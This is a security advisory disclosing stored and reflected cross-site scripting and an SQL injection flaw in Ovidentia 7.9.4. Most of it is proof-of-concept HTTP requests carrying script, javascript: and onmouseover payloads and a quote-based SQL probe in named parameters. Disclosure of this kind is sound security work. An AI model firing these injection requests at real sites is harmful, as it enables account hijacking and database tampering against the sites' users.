Ovidentia 7.9.4 Multiple Remote Vulnerabilities
Vendor: Cantico
Product web page: http://www.ovidentia.org
Affected version: 7.9.4
Summary: Ovidentia is both a content management system (CMS) and
a collaborative environment (Groupware).
Desc: Input passed via several parameters is not properly sanitized
before being returned to the user or used in SQL queries. This can
be exploited to manipulate SQL queries by injecting arbitrary SQL
code and HTML/script code in a user's browser session in context of
an affected site.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.7
MySQL 5.5.25a
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5154
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5154.php
08.08.2013
---
============================================================
#1 - Stored XSS
------------------------------------------------------------
POST http://localhost/ovidentia/index.php HTTP/1.1
tg users
idx Create
pos A
grp
widget_filepicker_job_uid[] 52154a53cc0de
user[nickname] "><script>alert(1);</script>
user[password1] pass123
user[password2] pass123
user[notifyuser] 0
user[sendpwd] 0
user[sn] Testingusio
user[mn] M
user[givenname] Testa
user[email] "><script>alert(2);</script>
============================================================
#2 - Stored XSS
------------------------------------------------------------
POST http://localhost/ovidentia/index.php HTTP/1.1
user[id] 2
tg user
idx Modify
item 2
pos
grp
widget_filepicker_job_uid[] 52154bde9410a
user[nickname] test
user[setpwd] 0
user[password1]
user[password2]
user[sendpwd] 0
user[sn] "><script>alert(3);</script>
user[mn] M
user[givenname] "><script>alert(4);</script>
user[email] lab@zeroscience.mk
GET http://localhost/ovidentia/index.php?tg=user&idx=Modify&item=2&pos=&grp= HTTP/1.1
============================================================
#3 - Stored XSS
------------------------------------------------------------
POST http://localhost/ovidentia/index.php HTTP/1.1
Submit2 Update
idx modify
item 1
ovmldetail "><script>alert(5);</script>
ovmlembedded "><script>alert(6);</script>
tg admoc
update ovmldb
============================================================
#4 - Reflected XSSs
------------------------------------------------------------
GET http://localhost/ovidentia/index.php?tg=users&bupd="><script>alert(7);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=addon/widgets/groups&idx=get&id_parent="><script>alert(8);</script>&uid=widget_acl99&levels=2&id_delegation=0
GET http://localhost/ovidentia/index.php?tg=admoc&idx=addoc&item="><script>alert(9);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A"><script>alert(10);</script>&grp=&sSearchText= HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=users&idx=List&pos=A&grp=&sSearchText="><script>alert(11);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?tg=admfm&idx=modify&fid=1"><script>alert(12);</script> HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=options&tg=calopt&urla=javascript:prompt(13); HTTP/1.1
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1_</script><script>prompt(14)</script>&iIdProject=-1&tg=usrTskMgr
GET http://localhost/ovidentia/index.php?idx=displayGanttChart&iIdOwner=1&iIdProject=0_</script><script>prompt(15)</script>&tg=usrTskMgr
GET http://localhost/ovidentia/index.php?ids=1"onmouseover=prompt(16)>&idx=hpriv&tg=topman
============================================================
#5 - SQL Injection
------------------------------------------------------------
GET http://localhost/ovidentia/index.php?tg=admoc&idx=octypes&action=delete_type&item=1%27&entitytype=2
